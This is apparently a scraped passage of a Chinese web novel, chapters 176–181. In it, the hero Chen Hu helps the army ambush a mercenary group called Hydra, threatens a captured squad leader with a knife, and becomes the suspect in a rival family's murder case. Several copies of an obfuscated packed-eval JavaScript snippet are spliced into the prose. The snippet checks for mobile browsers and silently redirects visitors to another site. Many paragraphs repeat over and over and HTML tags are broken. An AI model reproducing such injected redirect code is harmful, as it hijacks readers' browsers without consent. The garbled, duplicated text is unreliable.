陈虎闻言,一把就将这瘦小男人给扔在地上,而后又毫不犹豫补上一枪。 “看来,我的工作还没有结束!” 陈虎喃喃自语,明白了他接下来还有很多事情要拖。 第176章 九头蛇要屠村! 陈虎下山的速度很快。 他知道时间紧迫。 四支分队! 至少数百条人命! 他必须尽快找到解决办法。 不能让悲剧发生。 他的大脑,正飞速运转。 他明白,单靠他一个人,力量太薄弱了,必须要借助外力。 他想到孙家。 孙老德高望重,人脉广阔。 或许能帮上忙。 想到这里,陈虎的脚步更快了,几乎是小跑着下山。 凛冽的山风刮在他的脸上,像刀子一样。 但他顾不上这些。 他现在只有一个念头:救人! 很快,陈虎就到了山下。 他发动了吉普车,油门踩到底,朝着镇上飞驰而去。 车轮卷起漫天尘土。 陈虎在心里默默祈祷:希望还来得及! 吉普车一路疾驰,很快就到了孙家。 陈虎顾不上敲门,直接推门而入。 “孙老!若薇!” 孙老和孙若薇两人正在喝茶。 看到陈虎风风火火地闯进来,不由得都愣住了。 “陈虎?发生什么事情了?”孙老放下茶杯,好奇问道。 陈虎来不及解释太多,直接开门见山的说出了他知道的消息。 “九头蛇要屠村!” “什么?!”孙老和孙若薇两人异口同声地惊呼。 孙若薇的脸色,瞬间变得煞白。 孙老也是一脸震惊。 “怎么回事?你慢慢说!”孙老示意陈虎坐下。 陈虎闻言,深吸了一口气,然后将他在山上看到的一切,以及瘦小男人的供述,都详细地告诉了孙老和孙若薇。 孙若薇在一旁听得心惊肉跳。 她没有想到,九头蛇竟然如此丧心病狂。 孙老则脸色凝重。 他意识到事情的严重性。 “他们为什么要这么做?”孙若薇十分不解的问道。 “制造混乱,逃出边境线。”陈虎说道:“他们已经穷途末路了。” 孙老沉思片刻,语气凝重道:“这件事情,非同小可。” “必须要尽快阻止他们。” 陈虎补充道。 “你有办法吗?”孙老皱眉看着陈虎。 陈虎点了点头道:“我需要你们的帮助!” “你说。”孙老毫不犹豫地说道。 “我需要联系军方。”陈虎直接挑明。 孙老没有丝毫犹豫。 他拿起电话拨通了一个号码。 “老李是我!” “我有件紧急的事情现在你立马调动所有……” 孙老将九头蛇的计划以及陈虎的发现都告诉了电话那头的人。 电话那头的人正是附近军区的司令! 这位司令听完后也是大吃一惊。 他当即表示会立刻调派部队前往事发地点阻止九头蛇的阴谋。 挂断电话后孙老看着陈虎。 “我已经通知了李司令他会派人处理这件事情。” 陈虎闻言当即就松了一口气。 他知道有军方的介入九头蛇的计划就很难得逞了。 “谢谢你孙老!” “不用谢我!”孙老闻言直接摆了摆手道:“这是我们应该做的。” “陈虎你要小心!”孙若薇看着陈虎提醒着陈虎 “我知道。”陈虎点了点头对孙若薇投去一个放心的眼神。 军方介入的话哪怕情报不够明朗也能够确保交火不会蔓延到附近的居民区。 当然为了以防万一陈虎决定亲自赶往现场以确保九头蛇这一次不会有漏网之鱼顺带的他最好是能够捉到一条大鱼! 这五个分队仅仅是九头蛇冰山一角陈虎想要瓦解这个组织为前世的问题找一个答案那他就还有很长的路要走。 傍晚时分。 春寒料峭。 后山密林静谧得如同沉睡的巨兽。 高耸入云的松柏枝叶交错遮天蔽日。 林间落叶堆积厚实而松软踩上去发出轻微的“沙沙”声。 空气之中弥漫着潮湿的泥土气息夹杂着松脂的清香。 悬崖峭壁之上寒风呼啸。 陈虎趴伏在一块巨大的岩石后身形纹丝不动如同与山石融为一体。 此时陈虎身 穿深色猎装与周围的环境完美融合。 并且他的手中紧握着一把经过改装的56式半自动步枪。 枪身冰冷却给陈虎带来了一丝莫名的安全感。 陈虎眯起眼睛锐利的目光扫视着下方密林。 那里是九头蛇与军方即将交锋的战场! 茂密的林木间四个九头蛇分队陆续抵达。 他们身穿迷彩服头戴钢盔装备精良。 每个人都携带一把AK-47突击步枪腰间挂着手榴弹和匕首。 部分队员还配备了RPG火箭筒和轻机枪火力强大。 林木线外早已埋伏多时的军方士兵严阵以待。 他们身穿65式军装手持56式半自动步枪和56式冲锋枪。 轻重机枪架设在隐蔽的阵地上黑洞洞的枪口指向密林。 整个战场气氛紧张而压抑。 “九头蛇的人到齐了!”陈虎心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544340|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中暗道。 他数了数整整四个分队每个分队十六人。 再加上之前被他灭掉的那个分队一共五个分队八十人。 九头蛇这次出动的人比他想象中的人数还要多。 “看来九头蛇入境潜伏的规模比我想象中的还要庞大。” 陈虎不由得深吸了一口气压下心中的不安。 他知道一场恶战即将爆发。 突然 军方率先发起了攻击。 密集的子弹如同雨点般倾泻而下瞬间便撕破了密林的宁静。 毫无防备的九头蛇组织的成员们直接就被打了个措手不及。 惨叫声此起彼伏。 甫一接触就有三个九头蛇组织的成员应声倒地鲜血染红了落叶。 “反击!反击!” 九头蛇组织的这四个分队的分队长们当即大声嘶吼凭借着他们的经验迅速组织命令着他们各自分队的队员们进行反击。 AK-47的怒吼声顿时就响彻山林。 子弹呼啸着穿过树林朝着军方的阵地飞去。 双方交火激烈。 枪声、爆炸声、惨叫声交织在一起构成了一曲残酷的战争交响曲。 陈虎静静地观察着战局。 他并没有急于出手。 而是在等待继续从九头蛇组织成员的口中,套出新消息的时机。 军方现在早有准备,并且参战人数众多,所使用的各类武器杀伤力也更大,哪怕九头蛇组织成员的整体实力恐怖,但他们也绝不会逃出军方的埋伏的。 子弹呼啸而过,仿佛撕裂了空气。 AK-47的咆哮与56式半自动步枪的点射,直接就交织成了一首死亡的乐章。 一枚火箭弹拖着长长的尾焰,轰然炸响。 一棵粗壮的松树被拦腰炸断,木屑纷飞。 浓烈的硝烟味,弥漫在空气之中,呛得人难以呼吸。 军方的一挺轻机枪喷吐着火舌,压制着九头蛇的火力点。 “哒哒哒哒哒…… 子弹壳叮叮当当地落在地上,顿时就铺满了地面。 一个九头蛇组织的成员躲在树后,瞅准时机,想要探出头来还击。 结果…… “砰! 一颗子弹精准地击中了他的头部。 鲜血和脑部流出的白色不知名液体,从他的头上迸溅而出,染红了脚下的黑土地。 “啊…… 另一个九头蛇组织的成员,直接被子弹击中了腿部,发出凄厉的惨叫。 他当即倒在地上,捂着伤口,脸色痛苦地翻滚。 军方的迫击炮,随后也开始发威了…… 第177章 我这人耐心有限! “嗵!嗵!嗵!” 炮弹划破夜空,带着尖锐的呼啸声,落在九头蛇的阵地。 爆炸声震耳欲聋,火光冲天。 九头蛇的四个重火力点,直接被摧毁。 轻机枪哑火了。 火箭筒也被炸成了碎片。 九头蛇的士气彻底崩溃。 “顶不住了!快撤!” 一个九头蛇组织的分队长,声嘶力竭地大喊道。 残存的九头蛇组织的成员纷纷丢弃武器,四散奔逃。 他们如同丧家之犬,在枪林弹雨之中,拼命逃窜。 军方原本布置在周围潜伏的军队,这时候开始从两翼围拢过来。 他们如同神兵天降,迅速包围了九头蛇组织残余的成员。 战局顷刻间便呈现出压倒性的优势。 九头蛇一方节节败退。 天边残阳如血。 战火声势浩大。 火光隔着五里地外,都能够看得清清楚楚。 九头蛇组织的成员们,彻底溃散。 还活着的二十余个九头蛇组织的成员,最终便朝着数个方向,往山林里面逃逸而去。 暗处,陈虎的手指轻轻扣动扳机。 “砰!” 一颗子弹精准地击中了一个逃跑的九头蛇组织成员的后背。 那人应声倒地,再也没有爬起来。 见到九头蛇组织的这些成员溃散,陈虎这才动身,朝着一名刚才战与军队对战时,一直指挥着其手下队员的九头蛇组织的分队队长所逃逸的位置,潜行而去。 为了不引起军方的注意,陈虎尽量隐藏着身形。 这些九头蛇组织的成员四处溃逃,后方的军方士兵也在乘胜追击,陈虎十分警惕,他可不想被不长眼的流弹从身后贯穿。 追击不止,活着的九头蛇组织成员再度倒下半数,剩下的人都潜逃进了深山。 陈虎一直紧咬着那名九头蛇组织的分队队长,没有丝毫犹豫的就跟着一头扎进了一处山沟里。 一枚弹壳滚烫地落在陈虎的脚边。 陈虎抬脚碾过这枚应该是那九头蛇分队队长还击军队的弹壳,继续潜行。 夜幕降临,山林愈发幽暗。 树影幢 幢,如鬼魅般张牙舞爪。 风吹过松林,发出呜呜的低鸣,像是野兽的哀嚎。 陈虎紧盯着前方逃窜的身影,脚步不停。 九头蛇组织的溃兵们,已经不足一只手掌数。 军队这时候也停止了追击,开始打扫战场。 陈虎一直跟着那九头蛇组织的分队队长,追进了我无尽山脉的深处。 在九头蛇组织内,像这样的分队队长的手里,都掌握着重要的情报。 陈虎现在就想得到更多关于九头蛇的重要情报。 天色彻底黑了下来,伸手不见五指。 只有点点星光透过茂密的枝叶,洒落下来。 陈虎凭借着过人的夜视能力,继续追踪。 终于,那个九头蛇组织的分队队长停了下来。 他闪身进入了一个山洞。 陈虎放慢脚步,小心靠近。 他从腰间拔出手枪,熟练地上膛。 正准备进入山洞,活捉目标。 “砰! 山洞里面。突然传来一声枪响。 紧接着,是一声震耳欲聋的野兽咆哮。 “吼…… 陈虎听到那野兽的声音,心头当即一凛。 这声音,他太熟悉了。 是黑瞎子! 下一秒,那个九头蛇组织的分队队长就连滚带爬地从山洞里面,逃了出来。 他脸色惨白,浑身颤抖。 身后,一头体型庞大的黑瞎子紧追不舍。 黑瞎子浑身的黑毛油光发亮,一双熊眼闪烁着凶光。 它发出阵阵怒吼,震得山林都在颤抖。 春天,正是黑瞎子冬眠初醒,饥肠辘辘的时候。 显然,这个九头蛇组织的分队队长,不合时宜地闯入了它的巢穴。 “妈呀! 分队长惊恐万状,拼命奔逃。 他哪里还有之前和军队火拼时的威风气焰? 配枪也不在手上,估摸着是落在了山洞里面了。 他仓皇逃跑下,甚至于还狠狠跌了一跟头,但他仍旧爬起身,接着狂奔逃跑。 此刻,他只是一个被野兽追赶的猎物。 陈虎躲在树后,冷眼旁观。 他没想到他追捕的目标,竟然会被一头黑瞎子给逼出来。 这真是螳螂捕蝉,黄雀在后! 陈虎的嘴角,不由得露出一丝冷笑。 他举起手枪,瞄准了那个仓皇逃窜的九头蛇组织的分队队长。 陈虎屏住呼吸,食指轻轻扣动扳机。 “砰!” 枪声划破山林的寂静。 子弹精准地命中了那九头蛇组织的分队队长的小腿。 “啊!” 那九头蛇组织的分队队长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544341|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随即便发出一声惨叫,应声倒地。 他痛苦地捂着血流如注的小腿,脸色惨白如纸。 黑瞎子的速度极快,几乎在他倒地的瞬间,便已到了他的面前。 随即,黑瞎子便张开了血盆大口,露出它锋利的獠牙。 腥臭的口气喷在那九头蛇组织的分队队长的脸上,让得他瞪大了瞳孔,浑身都在颤抖。 死亡的阴影已经笼罩着他。 他眼睁睁地看着黑瞎子的巨爪向他挥来。 千钧一发之际。 “砰!” 又是一声枪响。 这一枪,正中黑瞎子的后脑勺。 黑瞎子的动作,猛地一顿。 它发出一声痛苦的咆哮,摇晃着巨大的身躯。 陈虎没有丝毫犹豫。 “砰!砰!砰!砰!砰!” 又是连续五枪。 每一枪,陈虎都精准地命中黑瞎子的后脑。 直到黑瞎子轰然倒地,彻底没了动静。 陈虎这才从树后走了出来。 他来到那九头蛇组织的分队队长的面前。 对方是个三十来岁的男人。 体格魁梧,浓眉大眼。 此刻,他正惊恐地看着陈虎。 眼神之中,充满了恐惧和绝望。 “你……你是谁?” 他忍着小腿中枪的疼痛,颤抖着身体问道。 陈虎蹲下身,脸上挂着一抹儒雅却让人胆寒的微笑,静静地看着他。 “我猜你眼下很难受,腿上的枪伤血流不止,大致伤到了骨头,连番的逃亡让你精疲力竭,眼下更是畏惧死亡。这样吧,我给你一个解脱,你告诉我一些我想知道的情报作为交换,你觉得怎样?” 男人眼神冷漠的盯着陈虎,浑身也是一阵阵止不住的颤抖。 尽管如陈虎所言,他眼下疲倦又饱受折磨,但他却仍旧冷声回绝道: “想从我嘴里套出情报?呵呵……你做梦!” 陈虎问完,无奈摇头,缓缓出声道: “撬开你这类人嘴的办法不多,恰好,你会的我都会!这样吧,你来试试我的手段熟练与否,要是认可了,那你老实交代就成!” 说罢,陈虎收起了手枪,紧接着从腰间抽出一把匕首。 陈虎蹲下身,匕首的寒光在这九头蛇组织的分队队长的眼前闪烁。 “我这人耐心有限!” 陈虎的声音冰冷,不带一丝感情,在那九头蛇组织的分队队长的耳中,宛如死神降临一般恐怖。 第178章 第十人理论 这位九头蛇组织的分队队长,不由得惊恐地瞪大了眼睛,死亡的恐惧让他浑身颤抖。 他想要挣扎,却发现他的身体已经动弹不得。 陈虎的匕首,如同毒蛇的信子,在他的眼前晃动。 这位九头蛇组织的分队队长,不由得惊恐地瞪大了眼睛,死亡的恐惧让他浑身颤抖。 他想要挣扎,却发现他的身体已经动弹不得。 陈虎的匕首,如同毒蛇的信子,在他的眼前晃动。 这位九头蛇组织的分队队长,不由得惊恐地瞪大了眼睛,死亡的恐惧让他浑身颤抖。 他想要挣扎,却发现他的身体已经动弹不得。 陈虎的匕首,如同毒蛇的信子,在他的眼前晃动。 这位九头蛇组织的分队队长,不由得惊恐地瞪大了眼睛,死亡的恐惧让他浑身颤抖。 他想要挣扎,却发现他的身体已经动弹不得。 陈虎的匕首,如同毒蛇的信子,在他的眼前晃动。 这位九头蛇组织的分队队长,不由得惊恐地瞪大了眼睛,死亡的恐惧让他浑身颤抖。 他想要挣扎,却发现他的身体已经动弹不得。 陈虎的匕首,如同毒蛇的信子,在他的眼前晃动。 这位九头蛇组织的分队队长,不由得惊恐地瞪大了眼睛,死亡的恐惧让他浑身颤抖。 他想要挣扎,却发现他的身体已经动弹不得。 陈虎的匕首,如同毒蛇的信子,在他的眼前晃动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544342|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位九头蛇组织的分队队长,不由得惊恐地瞪大了眼睛,死亡的恐惧让他浑身颤抖。 他想要挣扎,却发现他的身体已经动弹不得。 陈虎的匕首,如同毒蛇的信子,在他的眼前晃动。 这位九头蛇组织的分队队长,不由得惊恐地瞪大了眼睛,死亡的恐惧让他浑身颤抖。 他想要挣扎,却发现他的身体已经动弹不得。 陈虎的匕首,如同毒蛇的信子,在他的眼前晃动。 这位九头蛇组织的分队队长,不由得惊恐地瞪大了眼睛,死亡的恐惧让他浑身颤抖。 他想要挣扎,却发现他的身体已经动弹不得。 陈虎的匕首,如同毒蛇的信子,在他的眼前晃动。 第179章 孙老的来历 陆无双听到这里,不由得倒吸一口凉气,她完全没有想到陈虎说的故事的结局,竟然会如此的残酷。 “他作为道上的头目,也是刀尖舔血过来的,却落得这般下场。” 陈虎说到这里,语气之中,带着一丝惋惜,也带着一丝警醒。 “这就是第十人理论!”陈虎抬起头,目光灼灼地盯着陆无双。 “九个人都认为是对的,第十个人就要提出质疑,哪怕他是错的。”陈虎此时的语气,坚定而有力。 “因为,很多时候,我们都容易被眼前的繁荣和表面的平静所迷惑,而忽略了隐藏在背后的危机。”陈虎的眼中,此时充满了睿智的光芒。 “我虽然现在有养殖场,有工地,看似衣食无忧,但我不能忘记自己曾经的苦难,不能忘记那些被我打倒的敌人。”陈虎的语气之中,这时候带着一丝沉重。 “我必须时刻保持警惕,不断提升自己的实力,才能够保护我的家人,保护我的村子。”陈虎说到这里,拳头紧紧握住,指节泛白。 “我进山猎熊,不仅仅是为了吃肉,更是为了磨炼自己的意志,保持自己的战斗力。”陈虎说这话时,目光坚定而执着。 陆无双看着陈虎,眼中充满了敬佩和理解,她终于明白了陈虎的良苦用心。 “我懂了!”陆无双点了点头,轻轻地说道。 陈虎拿起碗,将剩下的肉羹汤一饮而尽。 “早点休息吧!”陈虎放下碗筷,站起身来,转身便走进了卧室。 时间来到数十年后那处海岛上,陈虎耳边再度回响起那个脾气怪异的老人,对他说过的话。 “小子,知道什么是第十人理论吗?” 阳光下,海浪拍打着沙滩,陈虎躺在沙滩上懒洋洋享受着片刻惬意,听到眼前老人这话,不由得摇了摇头。 怪老头易天行见状,随即缓缓出声道:“也许我错就错在太相信我自己,疏忽了很多我原本就应该注意到的细节。” “第十人理论来源于一个古老的犹太传说。” “说是有十个商人要穿越沙漠。” “他们约定,无论发生什么,都要互相帮助,共同进退。” “一开始,他们团结互助,克服了重重困难。” “但随着时间的推移,食物和水越来越少。” “猜忌和怀疑,开始在他们之间蔓延。” “第九天,他们只剩下最后一点水和食物。” “这时候,其中一个人突然暴毙。” “其他人虽然悲伤,但也暗自松了口气。” “因为这意味着,剩下的食物和水可以多维持一天。” “第八天,又死了一个人。” “第七天,第六天……” “每天都有人死去。” “到了最后一天,只剩下两个人。” “他们互相搀扶着,艰难地前行。” “其中一个人对另一个人说:‘我们终于要走出沙漠了!’” “另一个人却说:‘不,我们走不出去了!’” “为什么?” “因为我是第十个人!” 易天行顿了顿,目光深邃。 “这个故事告诉我们,即使九个人都认为是对的,第十个人也要提出质疑。” “因为很多时候,我们都会被眼前的利益蒙蔽,而忽略了潜在的危险。” 陈虎静静地听着,陷入了沉思。 易天行的声音,此时带着一丝沧桑。 “最开始去到A国执行我的计划时,我已经为此准备了一生,我有既定的方案,自认为考虑到了一切细节。” “我倾注了所有的心血,制定了一系列改革方案。” “我以为我是在帮助他们,却没想到,我是在毁灭他们。” 易天行说到这里,语气之中,充满了自责。 “我太急功近利了,我选择了圣君独裁的变革方式。” “我忽略了他们的文化,他们的传统,他们的信仰。” “我以为我是救世主,却成了刽子手。” 陈虎听到这里,心脏猛地一颤。 “我得了重病,我知道我的时间不多了。” “我想要在有限的时间里,做出最大的改变。” “我以为只要我足够努力,足够强硬,就能改变一切。” “我错了!” 易天行的眼中,这时候充满了痛苦。 “我的改革引发了剧烈的社会动荡,短暂的发展期一过,无数的隐 患接连暴雷。” “人民流离失所,国家陷入混乱。” “我最终失败了!” “我不仅没有改变那个国家,反而让它变得更糟。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14559030|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 易天行说到这个结果时,声音低沉而沙哑。 “我最大的错误,就是没有第十个人。” “我没有倾听不同的声音,没有考虑不同的意见。” “我被我的理想蒙蔽了双眼,失去了理智的判断。” 陈虎深吸一口气,感觉胸口有些发闷。 “第十人理论,不仅仅是提醒我们要时刻保持警惕,更是在提醒我们要时刻保持谦逊。” 易天行这时候抬起头,目光灼灼地盯着陈虎,语气十分认真。 “要学会倾听,学会思考,学会质疑。” “只有这样,我们才能够避免犯下致命的错误。” 海风吹拂着陈虎的脸庞,带来了一丝凉意。 阳光下,海浪拍打着沙滩,发出了阵阵涛声。 陈虎躺在沙滩上,陷入了沉思。 易天行今天所说的话,对他的影响和触动很大,极大的改变着他…… 次日正午,陈虎正百无聊赖坐在屋里面,构思着他之后需要做些什么。 下一刻,包专就推开陈虎家虚掩的木门,春寒的冷风吹进屋里。 “虎哥,打听到了。” “说!”陈虎坐在火炕上,手里捧着一杯热茶,目光锐利。 “那家南方重工集团,来头不小!”包专搓了搓冻得通红的手,哈了口气。 “法人代表叫张德胜,七十二岁的老头。” “孙老占股百分之三十三。” “孙老的来历,更吓人!”包专顿了顿,语气有些凝重道:“京都下来的高官,退休的。” “以前是扛枪打仗的,立过不少大功。” “后来转政,干了二十年。” 陈虎闻言,放下了手里的茶杯,眼神不断闪烁。 “军伍出身,转政二十年……” “这老狐狸,藏得够深的啊!” “看来,孙老的能量比我想象的还要大!” “这老家伙,到底在打什么算盘呢?”陈虎喃喃自语,眉头紧锁,陷入了沉思。 陈虎不喜欢这种在他原有计划中,超出他预料的情况出现。 孙老的能量已经超过了他的预估,这就意味着万一孙老以后出手干预一些事情的话,那陈虎无论如何,都将会陷入被动。 当然,陈虎也可以想办法,依靠他自己的手段,去避免这种情况发生…… 第180章 我们怀疑,一切都是陈虎做的! 与此同时,司家大院。 气氛压抑得令人窒息。 自从司宫出事后,司家上下都笼罩在一片阴霾之中。 司老爷子坐在太师椅上,脸色铁青,一言不发。 他的手里,紧紧攥着一串佛珠,骨节泛白。 “老爷,您已经两天没合眼了!”司老爷子的亲信管家端着一杯热茶,小心翼翼地劝道。 司老爷子摆了摆手,没有说话。 他的双眼,此时布满血丝,仿佛一头受伤的野兽。 他老来得子,司宫是他唯一的孩子,也是司家的未来。 如今,司宫死了,他的希望也破灭了。 就在这时,一个身穿黑色西装的男子快步走了进来。 “老爷,有消息了!” 司老爷子闻言,猛地抬起头,眼中闪过一丝精光。 “说!” “九头蛇组织……被重创了!” 司老爷子听到这个消息,身子不由得微微一颤。 随后,他深吸一口气,缓缓的闭上眼睛。 “好!好!好!” 连说了三个“好”字,司老爷子的声音之中,充满了压抑的愤怒和一丝快意。 虽然司宫的死讯让他悲痛欲绝,但九头蛇组织被重创的消息,多少让他感到了一丝慰藉。 至少,司宫的仇,有人报了。 然而,司老爷子并没有就此罢休。 他比任何人都清楚,九头蛇组织的能量有多大。 仅仅是重创,远远不够。 他要的是,将九头蛇组织彻底铲除! 三天后,一个意想不到的消息,传到了司老爷子的耳中。 “我联系上了九头蛇组织潜伏在本地的特情。”黑衣男子压低了声音说道。 司老爷子闻言,猛地睁开眼睛。 “潜伏在九头蛇组织的特情?” “他怎么说?” 黑衣男子闻言,顿了顿,然后继续说道:“根据特情的描述,司少爷的死,似乎另有隐情。” “九头蛇组织并没有绑架司少爷的计划,更不可能出现擅自行动的情况。” 司老爷子听到这话,眉头紧锁。 “另有隐情?” “什么 意思?” 黑衣男子随后深吸了一口气,缓缓说道:“特情怀疑,这是嫁祸,她现在就在门外,您要见见吗?” “嫁祸?”司老爷子重复着这两个字,眼中闪过一丝寒芒。 “谁?谁敢嫁祸九头蛇?” “目的是什么?” 司老爷子感觉他好像是掉进了一个巨大的漩涡,周围的一切都变得扑朔迷离。 他意识到,司宫的死,远比他想象中的要复杂得多。 一个更大的阴谋,正在缓缓浮出水面。 “带她进来!”司老爷子沉声说道,声音里面,听不出任何情绪。 很快,黑衣男子带着一个女人,走了进来。 女人穿着一身黑色的紧身衣,勾勒出她玲珑有致的身材。 一头乌黑的长发随意地披散在她的肩上,更衬得她肤白如雪。 她的五官精致,眉眼间带着一股淡淡的妩媚,但眼神却如同毒蝎般,冰冷而危险。 司老爷子上下打量了她一眼,心中暗自惊讶。 他没想到,在九头蛇组织潜伏的特情,竟然会是一个如此漂亮的女人。 “你就是在九头蛇组织潜伏的特情?”司老爷子沉声问道。 女人微微颔首,语气平静地回应道:“是的!” “说说吧,我儿子的死,到底是怎么回事?”司老爷子开门见山地问道。 女人闻言,深吸了一口气,然后缓缓说道:“九头蛇组织是一个活跃在世界各地的雇佣组织。” “他们接任务,收佣金。” “而我,现在就是这一片地区的联络人。” “但我们在这里,并没有收到雇佣绑架司宫的任务。” 司老爷子闻言,眉头不由得锁得更深了。 “你的意思是,司宫的死,和九头蛇无组织关?” 女人闻言,点了点头。 “不仅无关,我们后续调查发现,司宫的死亡时间,在警方攻击那处分部基地的前一晚。” “也就是说,如果是绑架勒索的话,那司宫并不应该被绑当晚就被撕票才对!” 司老爷子听到这里,脸色当即一变。 “你的意思是,有人嫁祸给九头蛇?” 女人眼神冰冷,语 气肯定道:“没错!” “我们怀疑,一切都是陈虎做的!” 司老爷子闻言,猛地抬起头,眼中闪过一丝震惊。 “陈虎?这人是谁?” “他为什么要这么做?” 女人这时候,冷笑一声。 “陈虎和司少爷之间,似乎有些过节。” “具体原因,我们还在调查。” “但我们有证据表明,陈虎在司少爷死亡当晚,出现在了案发现场的附近。” 司老爷子听到这话,顿时沉默了。 他感觉他的脑子有些乱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14559031|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他甚至于不知道陈虎这号人是从哪儿冒出来的! 为了对付九头蛇组织,他甚至于动用了诸多的家族资源,四处联络求人。 可是现在,潜伏在九头蛇组织的特情却告诉他,陈虎才是真正的凶手。 这让得他一时之间,难以接受。 “还有什么证据?”司老爷子随后沉声又问道。 女人随即从随身携带的包里面,拿出了一个文件袋,递给了司老爷子。 “这是我们收集到的一些证据!” “您可以看看!” 司老爷子接过文件袋,打开一看。 里面是一些资料。 这些资料上面,明确记载了陈虎和司宫之间的一些恩怨纠葛。 司老爷子看完之后,脸色铁青,他此时已经开始相信整件事情都是陈虎在幕后做的,杀死他的儿子司宫,并且嫁祸给九头蛇了。 “我知道了。”司老爷子压抑着语气,沉声说道:“你先下去吧!” 女人闻言,点了点头,转身离开了房间。 司老爷子随后坐在太师椅上,久久没有说话。 不管这陈虎是何方神圣,这个仇,他一定要报! 调查陈虎的事情,很快有了结果。 当陈虎的身份呈上给司老爷子面前时,老家伙的脸都绿了! 并不是因为陈虎的身份多么特殊,而是因为这陈虎放在寻常,在司家的眼里,不过就是个蝼蚁一般轻松踩死的角色! “村官?”司老爷子猛地一拍桌子,红木桌面顿时就发出一声闷响。 “一个破村官,能有这么大的能耐?” 管家愁眉苦脸,低声道:“老爷,这陈虎不简单,他不知道怎么搭上了孙家这条线。” “孙家?”司老爷子眯起眼睛,眼中寒光闪烁。 “就是那个孙家?” 管家点了点头,语气沉重道:“就是那个在省城都能够呼风唤雨的孙家。” 司母此时披头散发,哭喊着冲了进来。 “他爹,你一定要为宫儿报仇啊!” “我的宫儿啊……你怎么就这么去了啊!” 司母扑倒在地上,一番哭闹不休,哭得撕心裂肺。 司老爷子冷眼看着她这般模样,语气却异常冰冷。 “放心!这个仇,我一定会报!” 随后,司老爷子转头看向管家,语气严厉。 “你怕什么?” “孙家又怎么样?” “我司家也不是吃素的!” 管家难看,嗫嚅道:“老爷,孙家的势力太大,我们……” 第181章 目标确认击毙! 听到管家的话,司老爷子顿时就怒了。 “啪!” 司老爷子一巴掌扇在管家的脸上,大骂起来。 听到管家的话,司老爷子顿时就怒了。 “啪!” 司老爷子一巴掌扇在管家的脸上,大骂起来。 听到管家的话,司老爷子顿时就怒了。 “啪!” 司老爷子一巴掌扇在管家的脸上,大骂起来。 听到管家的话,司老爷子顿时就怒了。 “啪!” 司老爷子一巴掌扇在管家的脸上,大骂起来。 听到管家的话,司老爷子顿时就怒了。 “啪!” 司老爷子一巴掌扇在管家的脸上,大骂起来。 听到管家的话,司老爷子顿时就怒了。 “啪!” 司老爷子一巴掌扇在管家的脸上,大骂起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14559032|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到管家的话,司老爷子顿时就怒了。 “啪!” 司老爷子一巴掌扇在管家的脸上,大骂起来。 听到管家的话,司老爷子顿时就怒了。 “啪!” 